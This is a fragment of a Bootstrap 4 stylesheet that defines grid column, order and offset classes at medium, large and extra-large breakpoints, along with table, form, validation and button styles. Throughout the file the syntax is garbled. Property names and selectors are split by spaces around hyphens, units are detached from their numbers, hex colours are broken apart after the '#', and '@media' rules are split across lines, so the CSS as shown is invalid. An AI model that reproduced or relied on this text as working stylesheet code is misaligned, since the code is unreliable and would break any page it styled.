        -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
        order: 8
    }

    .order - md - 9 {
        -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
        order: 9
    }

    .order - md - 10 {
        -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
        order: 10
    }

    .order - md - 11 {
        -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
        order: 11
    }

    .order - md - 12 {
        -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
        order: 12
    }

    .offset - md - 0 {
        margin - left: 0
    }

    .offset - md - 1 {
        margin - left: 8.333333 %
    }

    .offset - md - 2 {
        margin - left: 16.666667 %
    }

    .offset - md - 3 {
        margin - left: 25 %
    }

    .offset - md - 4 {
        margin - left: 33.333333 %
    }

    .offset - md - 5 {
        margin - left: 41.666667 %
    }

    .offset - md - 6 {
        margin - left: 50 %
    }

    .offset - md - 7 {
        margin - left: 58.333333 %
    }

    .offset - md - 8 {
        margin - left: 66.666667 %
    }

    .offset - md - 9 {
        margin - left: 75 %
    }

    .offset - md - 10 {
        margin - left: 83.333333 %
    }

    .offset - md - 11 {
        margin - left: 91.666667 %
    }
}

@
media(min - width: 992 px) {
    .col - lg {
        -ms - flex - preferred - size: 0;
        flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
        flex - grow: 1;
        max - width: 100 %
    }

    .col - lg - auto {
        -webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto;
        width: auto;
        max - width: none
    }

    .col - lg - 1 {
        -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
        flex: 0 0 8.333333 % ;
        max - width: 8.333333 %
    }

    .col - lg - 2 {
        -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
        flex: 0 0 16.666667 % ;
        max - width: 16.666667 %
    }

    .col - lg - 3 {
        -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
        flex: 0 0 25 % ;
        max - width: 25 %
    }

    .col - lg - 4 {
        -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
        flex: 0 0 33.333333 % ;
        max - width: 33.333333 %
    }

    .col - lg - 5 {
        -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
        flex: 0 0 41.666667 % ;
        max - width: 41.666667 %
    }

    .col - lg - 6 {
        -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
        flex: 0 0 50 % ;
        max - width: 50 %
    }

    .col - lg - 7 {
        -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
        flex: 0 0 58.333333 % ;
        max - width: 58.333333 %
    }

    .col - lg - 8 {
        -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
        flex: 0 0 66.666667 % ;
        max - width: 66.666667 %
    }

    .col - lg - 9 {
        -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
        flex: 0 0 75 % ;
        max - width: 75 %
    }

    .col - lg - 10 {
        -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
        flex: 0 0 83.333333 % ;
        max - width: 83.333333 %
    }

    .col - lg - 11 {
        -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
        flex: 0 0 91.666667 % ;
        max - width: 91.666667 %
    }

    .col - lg - 12 {
        -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
        flex: 0 0 100 % ;
        max - width: 100 %
    }

    .order - lg - first {
        -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
        order: -1
    }

    .order - lg - last {
        -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
        order: 13
    }

    .order - lg - 0 {
        -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
        order: 0
    }

    .order - lg - 1 {
        -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
        order: 1
    }

    .order - lg - 2 {
        -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
        order: 2
    }

    .order - lg - 3 {
        -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
        order: 3
    }

    .order - lg - 4 {
        -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
        order: 4
    }

    .order - lg - 5 {
        -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
        order: 5
    }

    .order - lg - 6 {
        -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
        order: 6
    }

    .order - lg - 7 {
        -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
        order: 7
    }

    .order - lg - 8 {
        -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
        order: 8
    }

    .order - lg - 9 {
        -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
        order: 9
    }

    .order - lg - 10 {
        -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
        order: 10
    }

    .order - lg - 11 {
        -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
        order: 11
    }

    .order - lg - 12 {
        -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
        order: 12
    }

    .offset - lg - 0 {
        margin - left: 0
    }

    .offset - lg - 1 {
        margin - left: 8.333333 %
    }

    .offset - lg - 2 {
        margin - left: 16.666667 %
    }

    .offset - lg - 3 {
        margin - left: 25 %
    }

    .offset - lg - 4 {
        margin - left: 33.333333 %
    }

    .offset - lg - 5 {
        margin - left: 41.666667 %
    }

    .offset - lg - 6 {
        margin - left: 50 %
    }

    .offset - lg - 7 {
        margin - left: 58.333333 %
    }

    .offset - lg - 8 {
        margin - left: 66.666667 %
    }

    .offset - lg - 9 {
        margin - left: 75 %
    }

    .offset - lg - 10 {
        margin - left: 83.333333 %
    }

    .offset - lg - 11 {
        margin - left: 91.666667 %
    }
}

@
media(min - width: 1200 px) {
    .col - xl {
        -ms - flex - preferred - size: 0;
        flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
        flex - grow: 1;
        max - width: 100 %
    }

    .col - xl - auto {
        -webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto;
        width: auto;
        max - width: none
    }

    .col - xl - 1 {
        -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
        flex: 0 0 8.333333 % ;
        max - width: 8.333333 %
    }

    .col - xl - 2 {
        -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
        flex: 0 0 16.666667 % ;
        max - width: 16.666667 %
    }

    .col - xl - 3 {
        -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
        flex: 0 0 25 % ;
        max - width: 25 %
    }

    .col - xl - 4 {
        -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
        flex: 0 0 33.333333 % ;
        max - width: 33.333333 %
    }

    .col - xl - 5 {
        -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
        flex: 0 0 41.666667 % ;
        max - width: 41.666667 %
    }

    .col - xl - 6 {
        -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
        flex: 0 0 50 % ;
        max - width: 50 %
    }

    .col - xl - 7 {
        -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
        flex: 0 0 58.333333 % ;
        max - width: 58.333333 %
    }

    .col - xl - 8 {
        -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
        flex: 0 0 66.666667 % ;
        max - width: 66.666667 %
    }

    .col - xl - 9 {
        -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
        flex: 0 0 75 % ;
        max - width: 75 %
    }

    .col - xl - 10 {
        -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
        flex: 0 0 83.333333 % ;
        max - width: 83.333333 %
    }

    .col - xl - 11 {
        -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
        flex: 0 0 91.666667 % ;
        max - width: 91.666667 %
    }

    .col - xl - 12 {
        -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
        flex: 0 0 100 % ;
        max - width: 100 %
    }

    .order - xl - first {
        -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
        order: -1
    }

    .order - xl - last {
        -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
        order: 13
    }

    .order - xl - 0 {
        -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
        order: 0
    }

    .order - xl - 1 {
        -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
        order: 1
    }

    .order - xl - 2 {
        -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
        order: 2
    }

    .order - xl - 3 {
        -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
        order: 3
    }

    .order - xl - 4 {
        -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
        order: 4
    }

    .order - xl - 5 {
        -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
        order: 5
    }

    .order - xl - 6 {
        -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
        order: 6
    }

    .order - xl - 7 {
        -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
        order: 7
    }

    .order - xl - 8 {
        -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
        order: 8
    }

    .order - xl - 9 {
        -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
        order: 9
    }

    .order - xl - 10 {
        -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
        order: 10
    }

    .order - xl - 11 {
        -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
        order: 11
    }

    .order - xl - 12 {
        -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
        order: 12
    }

    .offset - xl - 0 {
        margin - left: 0
    }

    .offset - xl - 1 {
        margin - left: 8.333333 %
    }

    .offset - xl - 2 {
        margin - left: 16.666667 %
    }

    .offset - xl - 3 {
        margin - left: 25 %
    }

    .offset - xl - 4 {
        margin - left: 33.333333 %
    }

    .offset - xl - 5 {
        margin - left: 41.666667 %
    }

    .offset - xl - 6 {
        margin - left: 50 %
    }

    .offset - xl - 7 {
        margin - left: 58.333333 %
    }

    .offset - xl - 8 {
        margin - left: 66.666667 %
    }

    .offset - xl - 9 {
        margin - left: 75 %
    }

    .offset - xl - 10 {
        margin - left: 83.333333 %
    }

    .offset - xl - 11 {
        margin - left: 91.666667 %
    }
}

.table {
    width: 100 % ;
    max - width: 100 % ;
    margin - bottom: 1 rem;
    background - color: transparent
}

.table td,
.table th {
    padding: .75 rem;
    vertical - align: top;
    border - top: 1 px solid # dee2e6
}

.table thead th {
    vertical - align: bottom;
    border - bottom: 2 px solid # dee2e6
}

.table tbody + tbody {
    border - top: 2 px solid # dee2e6
}

.table.table {
    background - color: # fff
}

.table - sm td,
    .table - sm th {
        padding: .3 rem
    }

.table - bordered {
    border: 1 px solid # dee2e6
}

.table - bordered td,
    .table - bordered th {
        border: 1 px solid # dee2e6
    }

.table - bordered thead td,
    .table - bordered thead th {
        border - bottom - width: 2 px
    }

.table - striped tbody tr: nth - of - type(odd) {
    background - color: rgba(0, 0, 0, .05)
}

.table - hover tbody tr: hover {
    background - color: rgba(0, 0, 0, .075)
}

.table - primary,
    .table - primary > td,
    .table - primary > th {
        background - color: # b8daff
    }

.table - hover.table - primary: hover {
    background - color: #9fcdff
    }

    .table-hover .table-primary:hover>td,
    .table-hover .table-primary:hover>th {
      background-color: # 9 fcdff
}

.table - secondary,
    .table - secondary > td,
    .table - secondary > th {
        background - color: # d6d8db
    }

.table - hover.table - secondary: hover {
    background - color: # c8cbcf
}

.table - hover.table - secondary: hover > td,
    .table - hover.table - secondary: hover > th {
        background - color: # c8cbcf
    }

.table - success,
    .table - success > td,
    .table - success > th {
        background - color: # c3e6cb
    }

.table - hover.table - success: hover {
    background - color: # b1dfbb
}

.table - hover.table - success: hover > td,
    .table - hover.table - success: hover > th {
        background - color: # b1dfbb
    }

.table - info,
    .table - info > td,
    .table - info > th {
        background - color: # bee5eb
    }

.table - hover.table - info: hover {
    background - color: # abdde5
}

.table - hover.table - info: hover > td,
    .table - hover.table - info: hover > th {
        background - color: # abdde5
    }

.table - warning,
    .table - warning > td,
    .table - warning > th {
        background - color: # ffeeba
    }

.table - hover.table - warning: hover {
    background - color: # ffe8a1
}

.table - hover.table - warning: hover > td,
    .table - hover.table - warning: hover > th {
        background - color: # ffe8a1
    }

.table - danger,
    .table - danger > td,
    .table - danger > th {
        background - color: # f5c6cb
    }

.table - hover.table - danger: hover {
    background - color: # f1b0b7
}

.table - hover.table - danger: hover > td,
    .table - hover.table - danger: hover > th {
        background - color: # f1b0b7
    }

.table - light,
    .table - light > td,
    .table - light > th {
        background - color: # fdfdfe
    }

.table - hover.table - light: hover {
    background - color: # ececf6
}

.table - hover.table - light: hover > td,
    .table - hover.table - light: hover > th {
        background - color: # ececf6
    }

.table - dark,
    .table - dark > td,
    .table - dark > th {
        background - color: # c6c8ca
    }

.table - hover.table - dark: hover {
    background - color: # b9bbbe
}

.table - hover.table - dark: hover > td,
    .table - hover.table - dark: hover > th {
        background - color: # b9bbbe
    }

.table - active,
    .table - active > td,
    .table - active > th {
        background - color: rgba(0, 0, 0, .075)
    }

.table - hover.table - active: hover {
    background - color: rgba(0, 0, 0, .075)
}

.table - hover.table - active: hover > td,
    .table - hover.table - active: hover > th {
        background - color: rgba(0, 0, 0, .075)
    }

.table.thead - dark th {
    color: # fff;
    background - color: #212529;
      border-color: # 32383e
}

.table.thead - light th {
    color: #495057;
      background-color: # e9ecef;
    border - color: # dee2e6
}

.table - dark {
    color: # fff;
    background - color: #212529
    }

    .table-dark td,
    .table-dark th,
    .table-dark thead th {
      border-color: # 32383e
}

.table - dark.table - bordered {
    border: 0
}

.table - dark.table - striped tbody tr: nth - of - type(odd) {
    background - color: rgba(255, 255, 255, .05)
}

.table - dark.table - hover tbody tr: hover {
    background - color: rgba(255, 255, 255, .075)
}

@
media(max - width: 575.98 px) {
    .table - responsive - sm {
        display: block;
        width: 100 % ;
        overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
    }

    .table - responsive - sm > .table - bordered {
        border: 0
    }
}

@
media(max - width: 767.98 px) {
    .table - responsive - md {
        display: block;
        width: 100 % ;
        overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
    }

    .table - responsive - md > .table - bordered {
        border: 0
    }
}

@
media(max - width: 991.98 px) {
    .table - responsive - lg {
        display: block;
        width: 100 % ;
        overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
    }

    .table - responsive - lg > .table - bordered {
        border: 0
    }
}

@
media(max - width: 1199.98 px) {
    .table - responsive - xl {
        display: block;
        width: 100 % ;
        overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
    }

    .table - responsive - xl > .table - bordered {
        border: 0
    }
}

.table - responsive {
    display: block;
    width: 100 % ;
    overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
}

.table - responsive > .table - bordered {
    border: 0
}

.form - control {
    display: block;
    width: 100 % ;
    padding: .375 rem.75 rem;
    font - size: 1 rem;
    line - height: 1.5;
    color: #495057;
      background-color: # fff;
    background - clip: padding - box;
    border: 1 px solid # ced4da;
    border - radius: .25 rem;
    transition: border - color.15 s ease - in -out,
    box - shadow.15 s ease - in -out
}

.form - control::-ms - expand {
    background - color: transparent;
    border: 0
}

.form - control: focus {
    color: #495057;
      background-color: # fff;
    border - color: #80bdff;
      outline: 0;
      box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .25)
    }

    .form-control::-webkit-input-placeholder {
      color: # 6 c757d;
    opacity: 1
}

.form - control::-moz - placeholder {
    color: #6c757d;
      opacity: 1
    }

    .form-control:-ms-input-placeholder {
      color: # 6 c757d;
    opacity: 1
}

.form - control::-ms - input - placeholder {
    color: #6c757d;
      opacity: 1
    }

    .form-control::placeholder {
      color: # 6 c757d;
    opacity: 1
}

.form - control: disabled,
    .form - control[readonly] {
        background - color: # e9ecef;
        opacity: 1
    }

select.form - control: not([size]): not([multiple]) {
    height: calc(2.25 rem + 2 px)
}

select.form - control: focus::-ms - value {
    color: #495057;
      background-color: # fff
}

.form - control - file,
    .form - control - range {
        display: block;
        width: 100 %
    }

.col - form - label {
    padding - top: calc(.375 rem + 1 px);
    padding - bottom: calc(.375 rem + 1 px);
    margin - bottom: 0;
    font - size: inherit;
    line - height: 1.5
}

.col - form - label - lg {
    padding - top: calc(.5 rem + 1 px);
    padding - bottom: calc(.5 rem + 1 px);
    font - size: 1.25 rem;
    line - height: 1.5
}

.col - form - label - sm {
    padding - top: calc(.25 rem + 1 px);
    padding - bottom: calc(.25 rem + 1 px);
    font - size: .875 rem;
    line - height: 1.5
}

.form - control - plaintext {
    display: block;
    width: 100 % ;
    padding - top: .375 rem;
    padding - bottom: .375 rem;
    margin - bottom: 0;
    line - height: 1.5;
    background - color: transparent;
    border: solid transparent;
    border - width: 1 px 0
}

.form - control - plaintext.form - control - lg,
    .form - control - plaintext.form - control - sm,
    .input - group - lg > .form - control - plaintext.form - control,
    .input - group - lg > .input - group - append > .form - control - plaintext.btn,
    .input - group - lg > .input - group - append > .form - control - plaintext.input - group - text,
    .input - group - lg > .input - group - prepend > .form - control - plaintext.btn,
    .input - group - lg > .input - group - prepend > .form - control - plaintext.input - group - text,
    .input - group - sm > .form - control - plaintext.form - control,
    .input - group - sm > .input - group - append > .form - control - plaintext.btn,
    .input - group - sm > .input - group - append > .form - control - plaintext.input - group - text,
    .input - group - sm > .input - group - prepend > .form - control - plaintext.btn,
    .input - group - sm > .input - group - prepend > .form - control - plaintext.input - group - text {
        padding - right: 0;
        padding - left: 0
    }

.form - control - sm,
    .input - group - sm > .form - control,
    .input - group - sm > .input - group - append > .btn,
    .input - group - sm > .input - group - append > .input - group - text,
    .input - group - sm > .input - group - prepend > .btn,
    .input - group - sm > .input - group - prepend > .input - group - text {
        padding: .25 rem.5 rem;
        font - size: .875 rem;
        line - height: 1.5;
        border - radius: .2 rem
    }

.input - group - sm > .input - group - append > select.btn: not([size]): not([multiple]),
    .input - group - sm > .input - group - append > select.input - group - text: not([size]): not([multiple]),
    .input - group - sm > .input - group - prepend > select.btn: not([size]): not([multiple]),
    .input - group - sm > .input - group - prepend > select.input - group - text: not([size]): not([multiple]),
    .input - group - sm > select.form - control: not([size]): not([multiple]),
    select.form - control - sm: not([size]): not([multiple]) {
        height: calc(1.8125 rem + 2 px)
    }

.form - control - lg,
    .input - group - lg > .form - control,
    .input - group - lg > .input - group - append > .btn,
    .input - group - lg > .input - group - append > .input - group - text,
    .input - group - lg > .input - group - prepend > .btn,
    .input - group - lg > .input - group - prepend > .input - group - text {
        padding: .5 rem 1 rem;
        font - size: 1.25 rem;
        line - height: 1.5;
        border - radius: .3 rem
    }

.input - group - lg > .input - group - append > select.btn: not([size]): not([multiple]),
    .input - group - lg > .input - group - append > select.input - group - text: not([size]): not([multiple]),
    .input - group - lg > .input - group - prepend > select.btn: not([size]): not([multiple]),
    .input - group - lg > .input - group - prepend > select.input - group - text: not([size]): not([multiple]),
    .input - group - lg > select.form - control: not([size]): not([multiple]),
    select.form - control - lg: not([size]): not([multiple]) {
        height: calc(2.875 rem + 2 px)
    }

.form - group {
    margin - bottom: 1 rem
}

.form - text {
    display: block;
    margin - top: .25 rem
}

.form - row {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
    flex - wrap: wrap;
    margin - right: -5 px;
    margin - left: -5 px
}

.form - row > .col,
    .form - row > [class *= col - ] {
        padding - right: 5 px;
        padding - left: 5 px
    }

.form - check {
    position: relative;
    display: block;
    padding - left: 1.25 rem
}

.form - check - input {
    position: absolute;
    margin - top: .3 rem;
    margin - left: -1.25 rem
}

.form - check - input: disabled~.form - check - label {
    color: #6c757d
    }

    .form-check-label {
      margin-bottom: 0
    }

    .form-check-inline {
      display: -webkit-inline-box;
      display: -ms-inline-flexbox;
      display: inline-flex;
      -webkit-box-align: center;
      -ms-flex-align: center;
      align-items: center;
      padding-left: 0;
      margin-right: .75rem
    }

    .form-check-inline .form-check-input {
      position: static;
      margin-top: 0;
      margin-right: .3125rem;
      margin-left: 0
    }

    .valid-feedback {
      display: none;
      width: 100%;
      margin-top: .25rem;
      font-size: 80%;
      color: # 28 a745
}

.valid - tooltip {
    position: absolute;
    top: 100 % ;
    z - index: 5;
    display: none;
    max - width: 100 % ;
    padding: .5 rem;
    margin - top: .1 rem;
    font - size: .875 rem;
    line - height: 1;
    color: # fff;
    background - color: rgba(40, 167, 69, .8);
    border - radius: .2 rem
}

.custom - select.is - valid,
    .form - control.is - valid,
    .was - validated.custom - select: valid,
    .was - validated.form - control: valid {
        border - color: #28a745
    }

    .custom-select.is-valid:focus,
    .form-control.is-valid:focus,
    .was-validated .custom-select:valid:focus,
    .was-validated .form-control:valid:focus {
      border-color: # 28 a745;
        box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .25)
    }

.custom - select.is - valid~.valid - feedback,
    .custom - select.is - valid~.valid - tooltip,
    .form - control.is - valid~.valid - feedback,
    .form - control.is - valid~.valid - tooltip,
    .was - validated.custom - select: valid~.valid - feedback,
    .was - validated.custom - select: valid~.valid - tooltip,
    .was - validated.form - control: valid~.valid - feedback,
    .was - validated.form - control: valid~.valid - tooltip {
        display: block
    }

.form - check - input.is - valid~.form - check - label,
    .was - validated.form - check - input: valid~.form - check - label {
        color: #28a745
    }

    .form-check-input.is-valid~.valid-feedback,
    .form-check-input.is-valid~.valid-tooltip,
    .was-validated .form-check-input:valid~.valid-feedback,
    .was-validated .form-check-input:valid~.valid-tooltip {
      display: block
    }

    .custom-control-input.is-valid~.custom-control-label,
    .was-validated .custom-control-input:valid~.custom-control-label {
      color: # 28 a745
    }

.custom - control - input.is - valid~.custom - control - label::before,
    .was - validated.custom - control - input: valid~.custom - control - label::before {
        background - color: #71dd8a
    }

    .custom-control-input.is-valid~.valid-feedback,
    .custom-control-input.is-valid~.valid-tooltip,
    .was-validated .custom-control-input:valid~.valid-feedback,
    .was-validated .custom-control-input:valid~.valid-tooltip {
      display: block
    }

    .custom-control-input.is-valid:checked~.custom-control-label::before,
    .was-validated .custom-control-input:valid:checked~.custom-control-label::before {
      background-color: # 34 ce57
    }

.custom - control - input.is - valid: focus~.custom - control - label::before,
    .was - validated.custom - control - input: valid: focus~.custom - control - label::before {
        box - shadow: 0 0 0 1 px # fff, 0 0 0.2 rem rgba(40, 167, 69, .25)
    }

.custom - file - input.is - valid~.custom - file - label,
    .was - validated.custom - file - input: valid~.custom - file - label {
        border - color: #28a745
    }

    .custom-file-input.is-valid~.custom-file-label::before,
    .was-validated .custom-file-input:valid~.custom-file-label::before {
      border-color: inherit
    }

    .custom-file-input.is-valid~.valid-feedback,
    .custom-file-input.is-valid~.valid-tooltip,
    .was-validated .custom-file-input:valid~.valid-feedback,
    .was-validated .custom-file-input:valid~.valid-tooltip {
      display: block
    }

    .custom-file-input.is-valid:focus~.custom-file-label,
    .was-validated .custom-file-input:valid:focus~.custom-file-label {
      box-shadow: 0 0 0 .2rem rgba(40, 167, 69, .25)
    }

    .invalid-feedback {
      display: none;
      width: 100%;
      margin-top: .25rem;
      font-size: 80%;
      color: # dc3545
    }

.invalid - tooltip {
    position: absolute;
    top: 100 % ;
    z - index: 5;
    display: none;
    max - width: 100 % ;
    padding: .5 rem;
    margin - top: .1 rem;
    font - size: .875 rem;
    line - height: 1;
    color: # fff;
    background - color: rgba(220, 53, 69, .8);
    border - radius: .2 rem
}

.custom - select.is - invalid,
    .form - control.is - invalid,
    .was - validated.custom - select: invalid,
    .was - validated.form - control: invalid {
        border - color: # dc3545
    }

.custom - select.is - invalid: focus,
    .form - control.is - invalid: focus,
    .was - validated.custom - select: invalid: focus,
    .was - validated.form - control: invalid: focus {
        border - color: # dc3545;
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .25)
    }

.custom - select.is - invalid~.invalid - feedback,
    .custom - select.is - invalid~.invalid - tooltip,
    .form - control.is - invalid~.invalid - feedback,
    .form - control.is - invalid~.invalid - tooltip,
    .was - validated.custom - select: invalid~.invalid - feedback,
    .was - validated.custom - select: invalid~.invalid - tooltip,
    .was - validated.form - control: invalid~.invalid - feedback,
    .was - validated.form - control: invalid~.invalid - tooltip {
        display: block
    }

.form - check - input.is - invalid~.form - check - label,
    .was - validated.form - check - input: invalid~.form - check - label {
        color: # dc3545
    }

.form - check - input.is - invalid~.invalid - feedback,
    .form - check - input.is - invalid~.invalid - tooltip,
    .was - validated.form - check - input: invalid~.invalid - feedback,
    .was - validated.form - check - input: invalid~.invalid - tooltip {
        display: block
    }

.custom - control - input.is - invalid~.custom - control - label,
    .was - validated.custom - control - input: invalid~.custom - control - label {
        color: # dc3545
    }

.custom - control - input.is - invalid~.custom - control - label::before,
    .was - validated.custom - control - input: invalid~.custom - control - label::before {
        background - color: # efa2a9
    }

.custom - control - input.is - invalid~.invalid - feedback,
    .custom - control - input.is - invalid~.invalid - tooltip,
    .was - validated.custom - control - input: invalid~.invalid - feedback,
    .was - validated.custom - control - input: invalid~.invalid - tooltip {
        display: block
    }

.custom - control - input.is - invalid: checked~.custom - control - label::before,
    .was - validated.custom - control - input: invalid: checked~.custom - control - label::before {
        background - color: # e4606d
    }

.custom - control - input.is - invalid: focus~.custom - control - label::before,
    .was - validated.custom - control - input: invalid: focus~.custom - control - label::before {
        box - shadow: 0 0 0 1 px # fff, 0 0 0.2 rem rgba(220, 53, 69, .25)
    }

.custom - file - input.is - invalid~.custom - file - label,
    .was - validated.custom - file - input: invalid~.custom - file - label {
        border - color: # dc3545
    }

.custom - file - input.is - invalid~.custom - file - label::before,
    .was - validated.custom - file - input: invalid~.custom - file - label::before {
        border - color: inherit
    }

.custom - file - input.is - invalid~.invalid - feedback,
    .custom - file - input.is - invalid~.invalid - tooltip,
    .was - validated.custom - file - input: invalid~.invalid - feedback,
    .was - validated.custom - file - input: invalid~.invalid - tooltip {
        display: block
    }

.custom - file - input.is - invalid: focus~.custom - file - label,
    .was - validated.custom - file - input: invalid: focus~.custom - file - label {
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .25)
    }

.form - inline {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
    flex - flow: row wrap; - webkit - box - align: center; - ms - flex - align: center;
    align - items: center
}

.form - inline.form - check {
    width: 100 %
}

@
media(min - width: 576 px) {
    .form - inline label {
        display: -webkit - box;
        display: -ms - flexbox;
        display: flex; - webkit - box - align: center; - ms - flex - align: center;
        align - items: center; - webkit - box - pack: center; - ms - flex - pack: center;
        justify - content: center;
        margin - bottom: 0
    }

    .form - inline.form - group {
        display: -webkit - box;
        display: -ms - flexbox;
        display: flex; - webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto; - webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
        flex - flow: row wrap; - webkit - box - align: center; - ms - flex - align: center;
        align - items: center;
        margin - bottom: 0
    }

    .form - inline.form - control {
        display: inline - block;
        width: auto;
        vertical - align: middle
    }

    .form - inline.form - control - plaintext {
        display: inline - block
    }

    .form - inline.input - group {
        width: auto
    }

    .form - inline.form - check {
        display: -webkit - box;
        display: -ms - flexbox;
        display: flex; - webkit - box - align: center; - ms - flex - align: center;
        align - items: center; - webkit - box - pack: center; - ms - flex - pack: center;
        justify - content: center;
        width: auto;
        padding - left: 0
    }

    .form - inline.form - check - input {
        position: relative;
        margin - top: 0;
        margin - right: .25 rem;
        margin - left: 0
    }

    .form - inline.custom - control {
        -webkit - box - align: center; - ms - flex - align: center;
        align - items: center; - webkit - box - pack: center; - ms - flex - pack: center;
        justify - content: center
    }

    .form - inline.custom - control - label {
        margin - bottom: 0
    }
}

.btn {
    display: inline - block;
    font - weight: 400;
    text - align: center;
    white - space: nowrap;
    vertical - align: middle; - webkit - user - select: none; - moz - user - select: none; - ms - user - select: none;
    user - select: none;
    border: 1 px solid transparent;
    padding: .375 rem.75 rem;
    font - size: 1 rem;
    line - height: 1.5;
    border - radius: .25 rem;
    transition: color.15 s ease - in -out,
    background - color.15 s ease - in -out,
    border - color.15 s ease - in -out,
    box - shadow.15 s ease - in -out
}

.btn: focus,
    .btn: hover {
        text - decoration: none
    }

.btn.focus,
    .btn: focus {
        outline: 0;
        box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .25)
    }

.btn.disabled,
    .btn: disabled {
        opacity: .65
    }

.btn: not(: disabled): not(.disabled) {
    cursor: pointer
}

.btn: not(: disabled): not(.disabled).active,
    .btn: not(: disabled): not(.disabled): active {
        background - image: none
    }

a.btn.disabled,
    fieldset: disabled a.btn {
        pointer - events: none
    }

.btn - primary {
    color: # fff;
    background - color: #007bff;
      border-color: # 007 bff
}

.btn - primary: hover {
    color: # fff;
    background - color: #0069d9;
      border-color: # 0062 cc
}

.btn - primary.focus,
    .btn - primary: focus {
        box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
    }

.btn - primary.disabled,
    .btn - primary: disabled {
        color: # fff;
        background - color: #007bff;
      border-color: # 007 bff
    }

.btn - primary: not(: disabled): not(.disabled).active,
    .btn - primary: not(: disabled): not(.disabled): active,
    .show > .btn - primary.dropdown - toggle {
        color: # fff;
        background - color: #0062cc;
      border-color: # 005 cbf
    }

.btn - primary: not(: disabled): not(.disabled).active: focus,
    .btn - primary: not(: disabled): not(.disabled): active: focus,
    .show > .btn - primary.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
    }

.btn - secondary {
    color: # fff;
    background - color: #6c757d;
      border-color: # 6 c757d
}

.btn - secondary: hover {
    color: # fff;
    background - color: #5a6268;
      border-color: # 545 b62
}

.btn - secondary.focus,
    .btn - secondary: focus {
        box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
    }

.btn - secondary.disabled,
